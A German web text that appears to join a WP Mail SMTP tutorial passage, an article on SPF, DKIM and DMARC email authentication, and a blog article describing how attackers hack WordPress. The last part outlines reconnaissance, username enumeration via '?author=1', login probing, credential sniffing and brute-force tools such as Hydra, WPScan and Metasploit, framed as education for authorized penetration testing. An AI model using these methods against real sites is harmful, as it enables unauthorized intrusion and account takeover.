eingeben Absender-E-Mail Bei einigen Mailprogrammen können Sie eine beliebige . In diesem Fall sollten Sie eine E-Mail-Adresse der Domäne verwenden, die Sie bei Ihrem E-Mail-Anbieter authentifiziert haben.
Zum Beispiel, wenn Sie sich authentifiziert haben example.comWenn Sie SendLayer einrichten, sollte Ihre E-Mail-Domäne ebenfalls mit enden example.com.
Wenn Sie dies auf Ihrer gesamten WordPress-Site erzwingen, können Sie sicher sein, dass alle Ihre E-Mails authentifiziert sind.
Wenn die Absender-E-Mail ausgegraut ist, können Sie sie nicht ändern.
Bei einigen E-Mail-Anbietern (einschließlich Zoho Mail ) können Sie nicht eine andere Absender-E-Mail-Adresse verwenden als die, die Sie bei der Einrichtung des Plugins authentifiziert haben. Deshalb haben wir diese Einstellung ausgegraut, um sicherzustellen, dass Ihre E-Mails nicht fehlschlagen.
Sie können jeden dieser Aliase verwenden, um E-Mails von WordPress aus zu versenden. Beachten Sie, dass der primäre Google-Alias als Absender-E-Mail verwendet wird , wenn Sie versuchen, eine E-Mail-Adresse zu verwenden, die in Ihrem Gmail-Konto nicht vorhanden ist.
5. Smart Routing einrichten (optional)
Mit WP Mail SMTP Pro können Sie Smart Routing einrichten. Mit dieser Funktion können Sie unterschiedliche Mailer für unterschiedliche E-Mail-Typen verwenden.
Dies kann die Zustellbarkeit von E-Mails verbessern, da bestimmte Mailer für unterschiedliche E-Mail-Typen am besten geeignet sind. Beispielsweise wird häufig empfohlen, für E-Commerce-Bestellbenachrichtigungen einen Transaktionsmailer zu verwenden.
Wenn Sie den richtigen Mailer für die Art der E-Mails auswählen, die Sie versenden möchten, können Sie verhindern, dass Ihre E-Mails im Spam landen.
Um Smart Routing einzurichten, müssen Sie zunächst eine zusätzliche Verbindung hinzufügen. Gehen Sie zu WP Mail SMTP » Einstellungen und klicken Sie auf Zusätzliche Verbindungen .
Fügen Sie dann eine neue Verbindung hinzu und füllen Sie die Einstellungen aus. Dies sind die gleichen wie die Optionen für Ihre primäre Verbindung, die Sie zuvor in diesem Tutorial eingerichtet haben.
Sobald Sie mindestens eine zusätzliche Verbindung haben, können Sie Smart Routing aktivieren. Gehen Sie zur Seite „Smart Routing- Einstellungen“ und verwenden Sie die Dropdown-Listen, um eine bedingte Regel zu erstellen.
Dadurch wird WP Mail SMTP mitgeteilt, wann E-Mails über Ihre zusätzliche Verbindung gesendet werden sollen. Alle E-Mails, die die hier festgelegten Anforderungen nicht erfüllen, werden über Ihre primäre Verbindung gesendet.
Weitere Einzelheiten finden Sie in unserem Leitfaden zu Smart Routing .
6. Richten Sie Ihr E-Mail-DNS ein
Manchmal landen WordPress-E-Mails im Spam, selbst nachdem Sie WP Mail SMTP eingerichtet haben. Dies wird fast immer durch falsche DNS-Einstellungen in Ihrer Domain verursacht.
Glücklicherweise verfügt WP Mail SMTP über einen integrierten DNS-Prüfer, der Ihr DNS automatisch auf Probleme überprüft.
Achten Sie auf alle SPF-, SKIM- oder DMARC-Warnungen, die Sie in WP Mail SMTP erhalten. Die richtigen Einstellungen sind ein entscheidender Schritt, um zu verhindern, dass WordPress-E-Mails im Spam landen.
Sie wissen nicht, wo Sie anfangen sollen? Wir haben vollständige Schritte zur DNS-Einrichtung in unsere Mailer-Dokumentation aufgenommen, um Sie auf den richtigen Weg zu bringen. Beginnen Sie mit dieser Anleitung zum Erstellen eines DMARC-Eintrags .
Als nächstes stoppen Sie Spam in Ihrem Kontaktformular
Da Sie nun die Spam-Ordnung Ihrer WordPress-E-Mails behoben haben, besteht möglicherweise ein weiteres Problem: Sie erhalten Spam von Ihrem Kontaktformular.
Schauen Sie sich die besten Kontaktformular-Plugins an , um zu erfahren, wie Sie Kontaktformular-Spam mithilfe von CAPTCHAs und geheimen Formular-Tokens stoppen können.
Sind Sie bereit, Ihre E-Mails zu reparieren? Beginnen Sie noch heute mit dem besten WordPress-SMTP-Plugin. WP Mail SMTP Elite umfasst das vollständige White Glove-Setup und bietet eine 14-tägige Geld-zurück-Garantie.
Wenn Ihnen dieser Artikel weitergeholfen hat, folgen Sie uns bitte auf Facebook und Twitter für weitere WordPress-Tipps und Tutorials.
E-Mails autorisieren: So verhindern Sie, dass WordPress-E-Mails im Spam landen
Sie möchten E-Mails direkt über WordPress an eine große Empfängerzahl schicken? Dann sollten Sie diesen Beitrag unbedingt lesen – denn die Gefahr ist groß, dass Ihre Nachrichten im Spam landen!
Eines direkt vorweg: In diesem Beitrag geht’s ans Eingemachte. Wenn Sie gerade kurz angebunden sind, sollten Sie definitiv wann anders wiederkommen. Es wird technisch, komplex und viel. Wir gehen nämlich der Frage auf den Grund, wie man verhindern kann, dass E-Mails, die direkt über WordPress verschickt werden (z. B. Newsletter), im Spam landen.
Das passiert unglücklicherweise recht häufig, sobald eine kritische Empfängerzahl erreicht ist. Hält sich diese in überschaubaren Grenzen und werden nur vereinzelnd E-Mails verschickt (z. B. bei der Benachrichtigung über einen Kommentar), gibt es in der Regel keine Schwierigkeiten.
Da Sie das hier gerade lesen, haben Sie aber wahrscheinlich genau das Problem – tauchen wir also ein in die Welt des WordPress-E-Mail-Versands!
E-Mails über WordPress verschicken
Es gibt etliche Plug-ins, die das Verschicken von E-Mails über WordPress ermöglichen. Dafür wird typischerweise der Webserver Ihrer CMS-Installation genutzt – und nicht, wie wir später noch ausführlich betrachten, der Mailserver. Technisch gesehen kommt dabei das Script „PHP mail()“ zum Einsatz.
Der Vorteil: Die Nutzer werden nicht damit belastet, sich über die Funktionsweise im Hintergrund Gedanken machen oder technische Einstellungen vornehmen zu müssen. Leider ist genau das jedoch notwendig, um das Spam-Problem zu lösen. Bei großen Mengen stößt der Webserver einfach an seine Grenzen.
Das hat vor allem drei Ursachen:
Viele Shared-Webhoster limitieren die Anzahl der E-Mails, die per PHP-Script verschickt werden können – oder die Funktion ist gänzlich deaktiviert.
Webserver verfügen häufig nicht über die notwendige Konfiguration sowie die erforderlichen Zertifikate, um als vertrauenswürdig eingestuft zu werden.
In manchen Fällen wird vom Empfänger – u. a. aus Gründen des Spam-Schutzes – per Einstellung verlangt, dass E-Mails nicht sofort zugestellt, sondern zu einem späteren Zeitpunkt noch mal verschickt werden, wozu viele Webserver nicht in der Lage sind.
Webserver vs. Mailserver
Auch wenn Sie Ihre Domain und Ihr E-Mail-Postfach vom selben Anbieter haben, hat der Webserver erst mal nichts mit Ihrer E-Mail-Adresse zu tun. Es kann also sein, dass eine E-Mail mit dem Absender info@ihre-domain.de, die vom Webserver verschickt wird, beim Empfänger als Spam angesehen wird, da sie nicht von Ihrem offiziellen Mailserver stammt.
Dieser ist für nichts anderes da, als sich um das Verschicken, Entgegennehmen, Weiterleiten und Bereithalten Ihrer E-Mails zu kümmern. Er wird auch SMTP-Server genannt, wobei „SMTP“ für „Simple Mail Transfer Protocol“ steht und das Standard-Netzwerkprotokoll des Internets zum Übermitteln von E-Mails darstellt.
Sie ahnen es wahrscheinlich bereits: Die erste Maßnahme, um das Spam-Problem zu lösen, sollte sein, dafür zu sorgen, dass E-Mails aus WordPress heraus mittels Mailserver verschickt werden. Dazu benötigen Sie bestimmte Zugangsdaten, die Sie von Ihrem Webspace-Anbieter erhalten:
SMTP-Host: Domain oder IP-Adresse zu Ihrem Mailserver
Port zum Mailserver: das „Tor“ zur richtigen Anwendung auf dem Server (Standard: Port 587)
Art der Verschlüsselung: meistens SSL/TLS
SMTP-Benutzername
SMTP-Passwort
Wohin nun mit diesen Daten? Natürlich, in ein Plug-in!
Nutzen Sie bereits ein modernes Plug-in für den Versand von Newslettern (z. B. Mailster), finden Sie dort die Möglichkeit, die entsprechenden Einstellungen vorzunehmen.
Für den reinen Versand von WordPress-E-Mails empfehlen wir Easy WP SMTP, auch wenn es nur das zweitbeliebteste Plug-in im WordPress-Verzeichnis nach WP Mail SMTP von WPForms ist. Easy WP SMTP ist sehr übersichtlich und beschränkt sich aufs Wesentliche. Außerdem ist hier alles gut ins Deutsche übersetzt.
Nach der Installation sowie Aktivierung gelangen Sie über „Einstellungen“ —> „Easy WP SMTP“ zu den Einstellungsmöglichkeiten. Die Zugangsdaten vom Mailserver können Sie direkt unter dem ersten Reiter eintragen. Den zweiten Reiter („Weitere Einstellungen“) können Sie ignorieren, sofern Sie kein Entwickler sind. Sind Sie einer, wissen Sie, was zu tun ist.
Testen Sie den E-Mail-Versand über Ihren SMTP-Server
Der letzte Reiter ist wiederum für alle relevant. Hier haben Sie die Möglichkeit, eine Test-E-Mail zu verschicken, was Sie unbedingt tun sollten. Ist der Test erfolgreich, haben Sie einen wichtigen Schritt getan, um sicherzustellen, dass E-Mails, die in Verbindung mit Ihrer Domain stehen, fortan nicht mehr als Spam klassifiziert werden.
Einstellungen SMTP-Server anhand des Beispiels Easy WP SMTP
Sie können aber noch mehr tun!
Bounce-Mails vermeiden
Je älter Ihre Empfängerliste, desto mehr E-Mail-Adressen existieren bereits nicht mehr. Kann ein Newsletter nicht mehr zugestellt werden, erhält Ihr Mailserver eine Benachrichtigung darüber, dass das anvisierte Postfach verschwunden oder voll ist.
Solche sogenannten Bounce-Mails („bounce“ = „abprallen“) darf man auf keinen Fall ignorieren! Senden Sie weiterhin Newsletter an die entsprechenden E-Mail-Adressen, wird das beim Anbieter des Empfängers (z. B. Gmail) negativ registriert und die Wahrscheinlichkeit, dass Sie als Spammer eingestuft und damit alle Ihre Nachrichten blockiert werden, steigt.
Daher sollten Sie Ihre Empfängerliste stets aufräumen, sobald Sie eine Bounce-Mail erhalten.
E-Mails autorisieren
Eines der größten Probleme im Zusammenhang mit dem E-Mail-Versand sind Kriminelle, die E-Mails im Namen anderer verschicken. Heutzutage sind fast alle missbräuchlichen E-Mail-Nachrichten mit gefälschten Absenderadressen versehen.
Werden Sie Opfer, führt das nicht selten zu Vertrauensverlust und E-Mails mit Ihrer Domain-Adresse landen im Spam-Ordner oder werden komplett abgelehnt.
Um dieses Problem zu begrenzen, kann man dem Empfänger mitteilen, wer zum Versand berechtigt ist. Der Mailserver des Empfängers kann dann beim Mailserver des Senders nachfragen, welche Server zum Versand von E-Mails einer bestimmten Domain autorisiert sind.
Diese Vorgehensweise verhindert zwar nicht direkt einen Identitätsklau, macht Ihre E-Mail-Adresse für Cyberkriminelle jedoch uninteressanter. Deshalb ist es absolut sinnvoll, dass Sie die entsprechenden Einstellungen vornehmen und Ihre E-Mails autorisieren.
Zugegeben, jetzt wird’s sehr technisch! Die grundsätzliche Voraussetzung für die folgenden Maßnahmen ist, dass Ihr Hoster Ihnen die Bearbeitung der DNS-Einträge gestattet – und Sie sich bestenfalls ein bisschen mit dem Thema auskennen, um keinen Schaden anzurichten. Falls das nicht der Fall ist, geben Sie die Aufgabe besser in vertrauensvolle Hände.
Sender Policy Framework (SPF)
SPF (Sender Policy Framework) ist ein Verfahren zur Identitätsprüfung des Absenders einer E-Mail. Um daran teilnehmen zu können, müssen Sie die Informationen darüber, welche Mailserver senden dürfen, in den DNS-Einträgen Ihrer Domain hinterlegen.
Es gilt, den DNS-Eintrag vom Typ TXT oder – falls vorhanden – SPF zu konfigurieren. Und zwar nur diesen einen – er wird entweder erweitert oder gekürzt, Sie können nicht mehrere SPF-Records anlegen.
Der Eintrag startet immer mit der Angabe der SPF-Version, die genutzt wird:
v=spf1
Es folgen sogenannte „Mechanismen“, die angeben, welche Server zum Versenden von E-Mails mit einer bestimmten Domain berechtigt sind. Dies geschieht wiederum mithilfe von „Ergebnissen“.
Die wichtigsten Mechanismen:
a = berechtigt den Server, der als A-Record für die Domain hinterlegt ist
mx = berechtigt den Server, der als MX-Record hinterlegt ist
ip4 = berechtigt das IPv4-Netz zur darauffolgenden Adresse (Beispiel: ip4:188.94.26.162)
ip6 = berechtigt das IPv6-Netz zur darauffolgenden Adresse (Beispiel: ip6:2101:688:4:74::2)
include = berechtigt zur Übernahme der SPF-Einstellungen der darauffolgenden externen Domain (Beispiel: include:mailchimp.com)
all = definiert, was in allen anderen Fällen passieren soll (muss immer am Ende stehen)
Die wichtigsten Ergebnisse:
+ = Absender ist autorisiert
– = Absender ist nicht autorisiert (Hard Fail)
~ = Absender ist nicht autorisiert, E-Mail darf aber durchgelassen werden (Soft Fail)
Wird nichts angegeben, wird automatisch von einem „+“ ausgegangen. Eine Übersicht aller Parameter gibt es hier: SPF Record Syntax
Beispiel: v=spf1 a mx ip4:188.94.26.162 ip6:2101:688:4:74::2 include:mailchimp.com ~all
Achtung: Die eigene Domain darf im SPF-Record nicht auftauchen, sonst wird dieser ungültig!
Unterstützung bei der Erstellung des für Sie richtigen Eintrags erhalten Sie in der Regel auch bei Ihrem Webhoster. Im Netz gibt es darüber hinaus einen SPF-Generator.
Oder Sie lesen erst mal hier weiter, denn wir sind – es tut uns leid – noch immer nicht am Ende der Möglichkeiten angelangt.
DomainKeys Identified Mail (DKIM)
Puh, noch so ein kryptischer Name! Hinter DKIM (DomainKeys Identified Mail) verbirgt sich ebenfalls ein Identifikationsprotokoll zur Sicherstellung der Authentizität von E-Mail-Absendern. Es funktioniert nach einem ähnlichen, aber doch anderen Prinzip als SPF.
Auch das DKIM-Verfahren basiert auf der Kommunikation zwischen dem sendenden und empfangenden Mailserver, wobei der sendende Server den E-Mails eine digitale Signatur hinzufügt, die vom empfangenden Server überprüft werden kann. Dabei wird ein zur Signatur passender öffentlicher Schlüssel abgerufen. Gibt es keine Übereinstimmung, werden die entsprechenden E-Mails blockiert.
Das ist zugegebenermaßen eine sehr vereinfachte Darstellung des Funktionsprinzips, aber wir möchten schnell zur Sache kommen und Sie nicht mit technischen Spezifikationen überfrachten. Wie also wird DKIM eingerichtet?
Zunächst müssen Sie ein Schlüsselpaar generieren, was Sie u. a. mithilfe des DKIM Record Generator von EasyDMARC tun können. Dieser erzeugt einen privaten und einen öffentlichen Schlüssel.
Der private Schlüssel muss auf dem Mailserver hinterlegt werden, was häufig nur Ihr Webhoster erledigen kann. Leider gibt es allerdings beim Erscheinen des Beitrags noch einige Hoster, wie zum Beispiel HostEurope, die noch kein DKIM unterstützen.
Der öffentliche Schlüssel wird – wie der SPF-Record – per DNS-Eintrag (TXT) hinzugefügt. Damit kennen Sie sich ja nun bereits bestens aus!
Erledigt? Gut, denn einen haben wir noch.
Domain-based Message Authentication, Reporting and Conformance (DMARC)
In Sachen Bezeichnung schießt DMARC (Domain-based Message Authentication, Reporting and Conformance) schon mal den Vogel ab. Doch was bewirkt diese Spezifikation?
Während die beiden vorab genannten Verfahren beschreiben, wer eine E-Mail versenden darf (SPF) bzw. dass eine E-Mail unverändert vom angegebenen Absender stammt (DKIM), können via DMARC zusätzliche Empfehlungen über die Art und Weise des Umgangs mit einer E-Mail abgegeben werden, die nicht den SPF- und DKIM-Regeln entsprechen (z. B. in Quarantäne schieben oder als Spam markieren). DMARC baut demnach auf SPF sowie DKIM auf und steht nicht für sich allein.
Auch das DMARC-Verfahren wird mithilfe eines TXT-Eintrags in der DNS-Zone Ihrer Domain integriert. Wie der Code aussehen kann und welche Parameter Ihnen für die gewünschten Einstellungen zur Verfügung stehen, hat u. a. Google gut zusammengefasst: „DMARC-Eintrag hinzufügen“
Haben Sie DMARC erfolgreich eingerichtet, erhalten Sie beispielsweise Berichte darüber, welche Server oder Dritte von Ihrer Domain aus E-Mails verschicken, ob diese die Authentifizierung bestanden und wie die jeweiligen Eingangsserver auf nicht authentifizierte Nachrichten reagiert haben. Wertvolles Wissen, um möglichen Spam-Problemen auf den Grund gehen und angemessene Maßnahmen ergreifen zu können!
Kann ich DMARC ohne DKIM einrichten?
Ja, Sie können DMARC ohne DKIM einrichten und nur DMARC und SPF nutzen. In diesem Fall schlägt die DKIM-Prüfung immer fehl und das DMARC-Authentifizierungsergebnis hängt von der SPF-Prüfung und dem SPF-Kennungsabgleich ab, was zwar funktioniert, aber nicht optimal ist.
Eine E-Mail besteht die DMARC-Authentifizierung, wenn SPF-Authentifizierung oder die DKIM-Authentifizierung bestanden ist. Gibt es keine DMARC-Authentifizierung hängt also alles an SPF. Funktioniert SPF nicht, dann gibt es ein Problem.
Bei einem Eigentest gab es bei einer automatischen Weiterleitung ein Problem: Vermutlich wurde bei der Weiterleitung die SMTP-From-Adresse (MAILFROM) verändert, so dass die deren Domain nicht mehr gleicht der Header-From-Domain (elbnetz.com) ist. Das diese beiden übereinstimmen ist aber ein Erfordernis der DMARC-Prüfung.
Das Probleme wäre nicht so schlimm, wenn noch eine gültige DKIM-Signatur (von elbnetz.com) in der Mail wäre. Dann würde die DMARC-Prüfung trotzdem positiv enden. Für diese Weiterleitungsfälle sollte man also eine DKIM-Signatur mitsenden. Geht bei uns leider nicht; wir nutzen einen E-Mail-Server bei HostEurope und die können DKIM nicht.
Da aber die meisten E-Mail-Dienste die Möglichkeit bieten, sowohl SPF als auch DKIM einzurichten, sollten Sie auf jeden Fall DKIM neben SPF einrichten.
Fazit
Zunächst einmal großen Respekt: Sie haben es geschafft, diesen Beitrag durchzulesen!
Wenn Sie die darin vorgestellten Möglichkeiten umsetzen, haben Sie gute Chancen, Herr Ihrer Spam-Probleme zu werden. Lassen Sie sich von der Menge des Inputs nicht erschlagen und gehen Sie Schritt für Schritt vor – die Angelegenheit ist zu wichtig, um sie nicht in Angriff zu nehmen.
Und: Testen Sie unbedingt Ihre Konfigurationen. Eine gute Anlaufstelle dafür ist EasyDMARC Domain Scanner.
Wie bereits erwähnt: Sollten Sie Bedenken haben, dass Sie es selbst schaffen, wenden Sie sich am besten an einen Experten (z. B. uns).
Eines der größten Probleme im Zusammenhang mit dem E-Mail-Versand sind Kriminelle, die E-Mails im Namen anderer verschicken. Heutzutage sind fast alle missbräuchlichen E-Mail-Nachrichten mit gefälschten Absenderadressen versehen. Um dieses Problem zu begrenzen, kann man dem Empfänger mitteilen, wer zum Versand berechtigt ist. Der Mailserver des Empfängers kann dann beim Mailserver des Senders nachfragen, welche Server zum Versand von E-Mails einer bestimmten Domain autorisiert sind.
Was ist DKIM?
Das DKIM-Verfahren (DomainKeys Identified Mail) basiert auf der Kommunikation zwischen dem sendenden und empfangenden Mailserver, wobei der sendende Server den E-Mails eine digitale Signatur hinzufügt, die vom empfangenden Server überprüft werden kann. Dabei wird ein zur Signatur passender öffentlicher Schlüssel abgerufen. Gibt es keine Übereinstimmung, werden die entsprechenden E-Mails blockiert. Erfahren Sie mehr hier.
Was ist SPF?
SPF (Sender Policy Framework) ist ein Verfahren zur Identitätsprüfung des Absenders einer E-Mail. Um daran teilnehmen zu können, müssen Sie die Informationen darüber, welche Mailserver senden dürfen, in den DNS-Einträgen Ihrer Domain hinterlegen. Erfahren Sie mehr hier.
Was ist DMARC?
DMARC (Domain-based Message Authentication, Reporting and Conformance) bietet zusätzliche Empfehlungen über die Art und Weise des Umgangs mit einer E-Mail, die nicht den SPF- und DKIM-Regeln entsprechen (z. B. in Quarantäne schieben oder als Spam markieren). DMARC baut demnach auf SPF sowie DKIM auf und steht nicht für sich allein. Erfahren Sie mehr hier.
Kann ich DMARC ohne DKIM einrichten?
Ja. DKIM ist für DMARC nicht erforderlich. Durch die Einrichtung von DKIM werden jedoch falsch negative Ergebnisse bei der DMARC-Authentifizierung auf ein Minimum reduziert. Erfahren Sie mehr hier.
Hacking WordPress – Ein Blick hinter die Kulissen
Angreifen und Sichern von WordPress
Hacking WordPress – Ein Blick hinter die Kulissen
Wie Angreifer WordPress-Installationen hacken bzw. Schwachstellen in Plugins, Themes oder Konfigurationen ausnutzen.
1. Hilfe ich wurde gehackt!
Allein in Deutschland ist der Verbreitungsgrad von WordPress enorm – Tendenz weiter steigend. Im weltweiten Vergleich mit anderen Content Management Systemen (CMS) hält WordPress einen Anteil von bis zu 51% (Top Million Sites). Beeindruckende Zahlen also, die WordPress immer stärker in den Fokus von professionellen Angreifern rückt. So attackierte ein Botnet im April diesen Jahres WordPress-Installationen weltweit.
Zum Schutz und Absicherung von Installationen wurden bereits zahlreiche Anleitungen veröffentlicht. Empfehlenswert sind »Hardnening WordPress« oder auch meine Artikelserie »WordPress absichern«.
In diesem Beitrag werden allerdings keine weiteren Schutzmaßnahmen vorgestellt, sondern wie Angreifer vorgehen, um WordPress-Installationen zu hacken. Es soll ein kleiner Einblick hinter die Kulissen sein – in der Realität existieren weitaus mehr Möglichkeiten und Varianten.
2. Hinweis zu »Hacking WordPress«
Der Angriff von WordPress-Installationen oder Systemen ohne Erlaubnis bzw. Einverständniserklärung stellt eine strafbare Handlung dar. Wer ohne vertragliche Grundlage fremde Systeme angreift begibt sich auf sehr dünnes Eis. Die nachfolgenden Informationen dienen der Aufklärung und sollten lediglich im Rahmen eines Penetrationstests Verwendung finden. Im Gegensatz zu illegalen Hacking-Angriffen stellt ein Penetrationstest ein auftragsgesteuerter Einbruch in ein oder mehrere Systeme dar. Das Vorgehen dient im Grunde der »Qualitätskontrolle« der aktuell umgesetzten IT-Sicherheit im Unternehmensumfeld.
Ein Angriff / Penetrationstest lässt sich in unterschiedlichen Phasen unterteilen, von denen ein Teil sequentiell wiederholt wird. Phase 1 dient zunächst der Informationsgewinnung über das Ziel. Während ein Penetrationstester in Phase 4 die Ergebnisse festhält, wird sich ein Angreifer diesen Schritt wohl eher sparen…
3. Informationsgewinnung – Phase 1
Im ersten Schritt wird ein Angreifer möglichst viele Informationen über sein Ziel sammeln, die für den weiteren Verlauf von Interesse sein können. Zu diesem Zweck werden verschiedene öffentlich verfügbare Informationsquellen durchsucht. Diese werden im Anschluss ausgewertet und sollen Aufschluss darüber geben, über welchen Weg ein Einbruch am einfachsten realisiert werden kann. Für diesen Zweck stehen unterschiedliche Tools zur Verfügung – die meisten davon befinden sich auf der Linux Distribution Kali. Die Distribution wird sowohl von Hackern, als auch von Penetrationstestern zur Auffindung von Schwachstellen / Sicherheitsanalysen eingesetzt.
Dabei helfen Tools die unter »Information Gathering« zusammengefasst sind. Letztendlich werden in der ersten Phase folgende Ziele verfolgt:
Ziel identifizieren
System / Anwendungsversion bestimmen
Verfügbare Netzwerk-Ports
Laufende Services
Verteidigungsstrategien erkennen
[ … ]
Du kannst den Blog aktiv unterstützen!
No Tracking. No Paywall. No Bullshit.
Die Arbeit von kuketz-blog.de finanziert sich zu 100% aus den Spenden unserer Leserinnen und Leser. Werde Teil dieser Community und unterstütze auch du unsere Arbeit mit deiner Spende.
Das Verstecken der WordPress-Versionsnummer oder sonstigen Meta-Daten wird bei Laien oftmals mit dem Schutz gegen Spambots oder Sicherheitslücken in Verbindung gebracht. In der Tat lassen sich damit die besonders »dämlichen« Bots an der Nase herumführen, aber bereits semi-professionelle Varianten lassen sich von den Security by Obscurity Maßnahmen nicht beirren. Sie benutzen ausgeklügelte Methoden zur Feststellung ob eine Seite mit WordPress betrieben wird.
Wer selbst mal schauen möchte ob seine WordPress-Installation als solche erkannt wird kann folgende Webseite nutzen: Is it WordPress?
Mehr Informationen benötigt? Beispielsweise alle installierten Plugins? Auch gar kein Problem mit dem Tool plecost. Hier ein Fingerprint einer WordPress-Installation:
Mit Hilfe der gesammelten Informationen lässt sich WordPress bzw. eines der installierten Plugins gezielt angreifen. Details zu Schwachstellen für bestimmte Versionen stellt beispielsweise CVE-Details zur Verfügung.
3.2 Beispiel: System identifizieren
Nmap ist ein Werkzeug zum Scannen und Auswerten von Hosts in einem Netzwerk und fällt in die Kategorie der Portscanner. Der Name steht für Network Mapper. Nmap wird in erster Linie für Portscanning eingesetzt. Daneben verfügt es über weitere Techniken, wie beispielsweise die Erkennung des eingesetzten Betriebssystems (OS-Fingerprinting).
Letztendlich dienen solche Informationen wiederum als Ausgangspunkt für die weiteren Phasen, in denen Schwachstellen aktiv ausgenutzt werden.
3.3 Beispiel: Erkennung von Benutzer-Accounts
Um sich in den Administrationsbereich von WordPress einzuloggen ist die Kombination aus einem Benutzernamen und Passwort erforderlich. Falls ein Angreifer im Vorfeld den Benutzernamen »erraten« kann, benötigt er im Anschluss lediglich das korrekte Passwort. Insgesamt erleichtert das ein erfolgreiches Eindringen in den sensiblen Administrationsbereich.
Oft genügt dazu die Eingabe von
wordpress-blog-adress.de/?author=1
in die Browser-Zeile. In der Standard-Installation bekommt ein Administrator / Nutzer eine eindeutige Identifikationsnummer zugewiesen. Meist endet diese auf author=1 bzw. kann durch den Austausch der 1 am Ende leicht durchprobiert werden.
Falls der WordPress-Betreiber dies manuell geändert hat hilft ein Skript für nmap – wer probiert schon gerne alle Kombinationen durch:
4. Angriffsvektoren finden – Phase 2
Ausgehend von den in Schritt eins gesammelten Informationen werden anschließend mögliche Einstiegspunkte in das System identifiziert. Mit Hilfe von Tools und manuellen Abfragen wird konkrekt nach Schwachstellen und Lücken gesucht, die einen Einbruch ermöglichen. Unter »Vulnerability Analysis« sind die benötigten Tools zusammengefasst und dienen folgenden Zielen:
Schwachstellen identifizieren
Identifizieren und priorisieren von System Zugangspunkten
Risiken einschätzen
[ … ]
WordPress auf Schwachstellen und Konfigurationsfehler prüfen
Für Deine WordPress-Installation habe ich ein spezielles Leistungspaket im Angebot:
Scan Deiner WordPress-Installation auf Schwachstellen
Auswertung und Beurteilung der gefundenen Schwachstellen
Auf Basis der Ergebnisse erhälst Du von mir individuelle Maßnahmenempfehlungen zur Behebung und Absicherung
Wenn du Deine WordPress-Installation nachhaltig absichern möchtest, kannst Du mich gerne kontaktieren.
Gut zu wissen: Sicherheit erlangst Du nicht durch die Installation unzähliger Security-Plugins, sondern durch eine saubere Konfiguration, stetige Updates und proaktive Maßnahmen zur Absicherung. Kontakt aufnehmen
4.1 Administrationsbereich
Äußert beliebt als Einstiegspunkt ist der Login zum Administrationsbereich von WordPress – nicht zuletzt deswegen, weil sich ein Angriff bei vielen Installationen mit einfachen Mitteln bewerkstelligen lässt.
Über den Browser lässt sich prüfen, ob der Administrationsbereich generell für jeden erreichbar ist:
wordpress-blog-adress.de/wp-admin
Nach der Eingabe eines Benutzernamens und Passwort kann zunächst die Reaktion von WordPress erkundet werden.
Im ersten Beispiel wird der Account »admin« bestätigt. Dieser ist also vorhanden und dient vermutlich der Administration der WordPress-Installation.
Aus Beispiel zwei lässt sich die Verwendung eines Security-Plugins ableiten. Vermutlich kommt hier Login LockDown / Limit Login Attempts oder ein ähnliches Plugin zum Einsatz. Diese protokollieren fehlgeschlagene Login-Versuche. Falls ein Anmeldeversuch innerhalb von 5 Minuten dreimal hintereinander fehlschlägt blockiert das Plugin die anfragende IP-Adresse beispielsweise für eine Stunde. Script-Kiddies und dämliche Bots lassen sich von solchen Maßnahmen abschrecken – professionelle Angreifer hingegen weniger.
4.2 Fehlende SSL-Verschlüsselung
Hauptsächlich wird SSL für die Absicherung zwischen Webbrowser und Webserver eingesetzt – also immer dann, wenn sensible Informationen über das unsichere Internet ausgetauscht werden sollen.
Über den Browser wird abermals der Login zum Administrationsbereich aufgerufen:
wordpress-blog-adress.de/wp-admin
Falls zwischen Browser und Server keine verschlüsselte SSL-Verbindung ausgehandelt wird, können die Anmeldedaten mitgeschnitten werden. Ganz konkret: Ein WordPress-Blogger nutzt das kostenlose WLAN in seinem Lieblingskaffee und loggt sich in den Administrationsbereich ein. Da die Verbindung nicht über SSL abgesichert wird, kann einer Angreifer die Anmeldedaten im Klartext bzw. unverschlüsselt mitlesen. Solch ein Angriff ist mit einfachen Mitteln bereits von Anfängern durchführbar.
5. Ausnutzen von Schwachstellen – Phase 3
Gefundene Schwachstellen gilt es in Phase 3 gezielt auszunutzen. Dafür werden vorhandene Exploits verwendet oder neue entwickelt, die es ermöglichen Systeme zu kompromittieren. Falls in ein System eingerungen werden kann, ergeben sich aus dem Zugriff oftmals weitere mögliche Angriffsziele, die vorher nicht erreichbar waren. Mit der Toolkiste aus »Exploitation Tools« oder »Privilige Escalation« stehen in Kali genügend Mittel zur Verfügung. Verfolgt wird damit:
Schwachstellen in Systemen / Anwendungen ausnutzen
Systemzugriff erhalten
Zugang zu geschützten Web-Bereichen
Erfassen von sensiblen Daten
[ … ]
5.1 Brute-Force WP-Login
Da Administratoren über die weitreichendsten Berechtigungen verfügen, stellen sie ein beliebtes Ziel für Angreifer dar. Einmal eingeloggt erlauben Sie beispielsweise das Hinzufügen von schädlichen PHP- oder Javascript-Befehlen direkt über das Dashboard. In der Informationsphase wurden bereits Anmeldeinformationen gesammelt, die gezielt für den Einbruch in das Backend genutzt werden können.
Geschützt wird der Administrationsbereich aus einer Kombination von Benutzername und Passwort. Falls ein Angreifer bereits über den Benutzernamen verfügt, so muss er im nächsten Schritt das Passwort »erraten«. Mittels einem Brute-Force-Angriff wird durch Ausprobieren das passende Passwort ermittelt. In freier Wildbahn führt dieser Angriff oft zum Erfolg, da viele Anwender noch immer unsichere Passwörter verwenden.
Speziell für diesen Zweck steht Hydra zur Verfügung. Neben WordPress-Installationen kann damit eine breite Palette von Systemen und Anwendungen angegriffen werden.
5.2 Das Tool WPScan
WPScan ist speziell auf WordPress zugeschnitten. Es bietet zahlreiche Funktionen, wie beispielsweise die Erkennung der installierten Plugins, Themes und WordPress-Versionen. Des Weiteren ist es in der Lage Benutzer-Accounts für Brute-Force-Angriffe zu »erraten« und verweist direkt auf Schwachstellen-Datenbanken, falls während des Scans auffällige Plugins gefunden werden. Im Beispiel wird eine Lücke im Plugin W3 Total Cache (Version 0.9.3) detektiert.
5.3 Metasploit
Metasploit ist eine Art Allzweckwaffe bzw. große Toolbox für Penetrationstests und Sicherheitsanalysen. Es besteht aus unterschiedlichen Teilbereichen, Teilprojekten und Modulen – der Umfang erlaubt den Einsatz in allen Phasen eines Penetrationstests. Auch Angreifer machen sich Metasploit zu Nutze, um in fremde Systeme einzudringen. Hier lediglich ein kurzer Einblick in das Metasploit Universum.
Das Metasploit Modul »wordpress_login_enum« dient zur Feststellung von gültigen Benutzer-Accounts und kann im Anschluss einen Passwort-Rate-Angriff durchführen.
6. Weitere Möglichkeiten
